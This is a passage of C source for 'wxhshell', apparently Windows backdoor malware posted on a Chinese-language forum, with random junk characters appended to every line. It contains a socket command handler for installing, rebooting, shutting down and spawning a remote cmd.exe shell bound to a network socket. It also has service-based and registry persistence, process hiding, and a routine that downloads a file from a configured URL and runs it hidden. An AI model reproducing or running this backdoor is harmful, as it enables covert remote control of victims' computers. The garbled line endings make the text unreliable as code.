  else { Jw 4#u5$$Z  
Y94 ^mt-  
    switch(cmd[0]) { ?M/H{  
  |Ix{JP"Lk  
  // 帮助 3P.v#TEst  
  case '?': { bwC~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &H4Y`xV^=  
    break; Qm"&=<  
  } hf JeVT-/v  
  // 安装 +HXR ))X  
  case 'i': { 8opd0'SNaB  
    if(Install()) rW P -Rm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 18HmS>Qo  
    else A2 r\=for  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eT'Z;ZO  
    break; *=2sXH1j  
    } Uh w:XV@m  
  // 卸载 f`gs/R  
  case 'r': { qk{+Y  
    if(Uninstall()) @W1F4HYds  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Y7u M;8  
    else N|rB~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); baO'FyCs9&  
    break; 9cnLf#  
    } yrF"`/zv6|  
  // 显示 wxhshell 所在路径 SSAf<44e  
  case 'p': { hr/H vB  
    char svExeFile[MAX_PATH]; 0| }]=XN^  
    strcpy(svExeFile,"\n\r"); "c5bz  
      strcat(svExeFile,ExeFile); 61@;3yV  
        send(wsh,svExeFile,strlen(svExeFile),0); pBxyq"z  
    break; W5^<4Ya!  
    } ${F4x"x  
  // 重启 +F4SU(T  
  case 'b': { q`0wG3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -cONC9 =  
    if(Boot(REBOOT)) BN~gk~t_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S8dX8,qg  
    else { d7]~t|  
    closesocket(wsh); Yo*.? Mq'  
    ExitThread(0); E]0}&YG  
    } 9 WO|g[Y3  
    break; ls@j8bVv^  
    } PB(q9gf"1}  
  // 关机 BY5ODc$  
  case 'd': { {8pN]=SaJ~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #]kO/Mr  
    if(Boot(SHUTDOWN)) R_zQiSwG<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h]jy):9L  
    else { a;h.I}*]  
    closesocket(wsh); V#,jUH|  
    ExitThread(0); 5hvg]w95;  
    } UOa n  
    break; :pCv!g2  
    } P#l"`C /  
  // 获取shell MJM<  
  case 's': { *~\R0ddz  
    CmdShell(wsh); [e`e bn[C  
    closesocket(wsh); )>]@@Trx  
    ExitThread(0); J=t@2  
    break; SMn(c  
  } O%)Wo?)HM  
  // 退出 ["1Iz{  
  case 'x': { 9SQc ChG~j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fZgEJsr  
    CloseIt(wsh); +pY-- 5t  
    break; tyU'[LF?  
    } ?p'DgL{  
  // 离开 $1uT`>%  
  case 'q': { U}R (  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K"/3/`T  
    closesocket(wsh); +GvPJI  
    WSACleanup(); x(+H1D\W   
    exit(1); bV&"jjEx  
    break; >e^^YR^  
        } 'w8p[h (,  
  } VCX^D)[-  
  } =$-+~  
f;=<$Y>i  
  // 提示信息 ,92wW&2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]ne  
} yi;pn Z  
  } *6aIDFNl  
\P;2s<6i\  
  return; jdX *  
} 85_Qb2<'r  
(3?W) i  
// shell模块句柄 n.7-$1  
int CmdShell(SOCKET sock) &&ZX<wOM  
{ rlQ=rNrG&E  
STARTUPINFO si; )Ah7  
ZeroMemory(&si,sizeof(si)); 5ENEx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~X<?&;6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z 5 Xis"j  
PROCESS_INFORMATION ProcessInfo; d:#z{V_  
char cmdline[]="cmd"; 1 \Z/}FT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E1D0 un  
  return 0; /8wfI_P>M"  
} X$*]$Ge>  
K/0Wp %  
// 自身启动模式 L./{^)  
int StartFromService(void) $'n?V=4  
{ ]P >c{  
typedef struct 0{(5J,/BF  
{ oTg 'N  
  DWORD ExitStatus; dC>(UDC  
  DWORD PebBaseAddress; ,Bs/.htQj  
  DWORD AffinityMask; )I"I[jDw  
  DWORD BasePriority; tu's]3RE  
  ULONG UniqueProcessId; abw5Gz@Ag  
  ULONG InheritedFromUniqueProcessId; 6 w4HJZF~  
}   PROCESS_BASIC_INFORMATION; )lU9\"?o  
@^.o8+Pp  
PROCNTQSIP NtQueryInformationProcess; 30W.ks5(  
WOQ>]Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E?FUr?-[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TPn#cIPG  
PsM8J  
  HANDLE             hProcess; 3qkPe_<I  
  PROCESS_BASIC_INFORMATION pbi; & zv!cf  
?4#UW7I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p"0Dl9  
  if(NULL == hInst ) return 0; P9)L1l<3I  
{dYz|O<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $;rvKco)%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W[:CCCDL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `<-/e%8  
uann'ho?q  
  if (!NtQueryInformationProcess) return 0; s6k(K>Pl  
S1#5oy2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c8Nl$|B  
  if(!hProcess) return 0; 7c!#e=W@B  
owx0J,,G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?}U?Q7vx@@  
w:ASB>,!  
  CloseHandle(hProcess); ZgfhNI\  
B'I_i$g4w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mD%IHzbn H  
if(hProcess==NULL) return 0; [Z^26/5a  
7Vu f4Z5  
HMODULE hMod; gs&F .n  
char procName[255]; nrR2U`  
unsigned long cbNeeded; 6mqp`x`  
QjKh#sU&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OAaLCpRp  
Dq-[b+bm  
  CloseHandle(hProcess); aeDhC#h  
Z23T 2  
if(strstr(procName,"services")) return 1; // 以服务启动 ??f,(om  
(+SL1O P  
  return 0; // 注册表启动 :j? MEeu  
} 6xFchdMG{m  
Dutc#?bT  
// 主模块 PZVH=dagq  
int StartWxhshell(LPSTR lpCmdLine) B`YD>oCN  
{ CwD=nT5`  
  SOCKET wsl; Vjd(Z  
BOOL val=TRUE; xXfv({  
  int port=0; k2(k0HFR  
  struct sockaddr_in door; %Fx ^"  
yqH9*&KH{  
  if(wscfg.ws_autoins) Install(); g_J QW(_  
gvr&7=p  
port=atoi(lpCmdLine); !>f:wk2  
-s0\4  
if(port<=0) port=wscfg.ws_port; > Edsanx  
86>@.:d  
  WSADATA data; sN K^.0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J50n E~  
cG&@PO]+.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hcM9Sx"!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B4*uS (  
  door.sin_family = AF_INET; _9dW+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NKc<nYdK?  
  door.sin_port = htons(port); (*kKfg4Wj  
nd$92H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { luW"|  
closesocket(wsl); uw/N`u  
return 1; 4C )sjk?m  
} .<Ays?  
?vFtv}@\  
  if(listen(wsl,2) == INVALID_SOCKET) { eaDR-g"  
closesocket(wsl); < {h \Msx%  
return 1; eJ6 #x$I,  
} >f4[OBc  
  Wxhshell(wsl); i(;.Y  
  WSACleanup(); 6uTC2ka[&R  
U2LD_-HZ  
return 0; rGrR;  
G9Noch9 g  
} 4Dy1M}7  
@R<z=n"  
// 以NT服务方式启动 W.%p{wB |  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8llXpe  
{ NwdrJw9  
DWORD   status = 0; >I-rsw2  
  DWORD   specificError = 0xfffffff; &3J^z7kU  
{jv+ J L"5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ohs`[U=%~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B`||4*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `+0dz,  
  serviceStatus.dwWin32ExitCode     = 0; e tL?UF$  
  serviceStatus.dwServiceSpecificExitCode = 0; |UB)q5I  
  serviceStatus.dwCheckPoint       = 0; ;kWWzg  
  serviceStatus.dwWaitHint       = 0; {{B'65Wu  
HCCq9us  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); / !y~Q|<|=  
  if (hServiceStatusHandle==0) return; 6=Wevb5YJ  
( P=WKZMPN  
status = GetLastError(); zg'.fUZ  
  if (status!=NO_ERROR) [#YzU^^Ib  
{ e"*1l>g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $:# :"  
    serviceStatus.dwCheckPoint       = 0; w~&#:F?  
    serviceStatus.dwWaitHint       = 0; 6(x53 y__  
    serviceStatus.dwWin32ExitCode     = status; ;Qi!~VsP;  
    serviceStatus.dwServiceSpecificExitCode = specificError; p1hF.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MK1#^9Zr  
    return; sSc~q+xz  
  } `%^w-'  
C#8A|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )\PX1198  
  serviceStatus.dwCheckPoint       = 0; IuA4eDr^Y%  
  serviceStatus.dwWaitHint       = 0;  NEPK   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D>;_R HK  
} "shX~zd5  
H:OpS-b  
// 处理NT服务事件,比如:启动、停止 s5 {B1e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8B]\;m  
{ J"@X>n  
switch(fdwControl) fmJK+  
{ w^=(:`  
case SERVICE_CONTROL_STOP: CU*TY1%  
  serviceStatus.dwWin32ExitCode = 0; t)uxW 7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kr@!j@j$  
  serviceStatus.dwCheckPoint   = 0; ! 2knS S  
  serviceStatus.dwWaitHint     = 0; KhP_U{)D  
  { wt;`_}g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >I<}:=   
  } ]N;n q  
  return; mq:WBSsV  
case SERVICE_CONTROL_PAUSE: US=K}B=g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )Vrp<"v  
  break; ~kj96w4eAR  
case SERVICE_CONTROL_CONTINUE: ?m+];SJk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wjZ Q.T!  
  break; Gy;Fe=  
case SERVICE_CONTROL_INTERROGATE: zGNW5S9G  
  break; mlLqQ<  
}; 'n1$Y%t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zg@i7T  
} J#F HR/zV  
(C1~>7L  
// 标准应用程序主函数 CE!cZZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >,tJq %  
{ bfEH>pQ>#  
Slj U=,  
// 获取操作系统版本 KATf9-Sz  
OsIsNt=GetOsVer(); c~ vql4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ==gL!e{  
1 0.Z Bfn  
  // 从命令行安装 r NKeY48\  
  if(strpbrk(lpCmdLine,"iI")) Install(); _~{J."q  
S8+l!$7   
  // 下载执行文件 ya5HAs  
if(wscfg.ws_downexe) { if*~cPnN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aMxj{*v7  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~l?c.CS d  
} N$v_z>6Z  
,fTC}>s4  
if(!OsIsNt) { >mpNn  
// 如果时win9x,隐藏进程并且设置为注册表启动 mPqK k  
HideProc(); :-<30LS $  
StartWxhshell(lpCmdLine); n qx0#_K-E  
} 63_#*6Pv28  
else Ayv:Pv@  
  if(StartFromService()) 5''k|B>  
  // 以服务方式启动 cH$( *k9%M  
  StartServiceCtrlDispatcher(DispatchTable); dtTfV.y4w  
else 7cWeB5 e?O  
  // 普通方式启动 [i.c;'Wy/  
  StartWxhshell(lpCmdLine); W`c$2KS?DO  
6rWq hIaI  
return 0; R,["w9 8a  
}
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只看该作者 1 发表于: 2006-10-10
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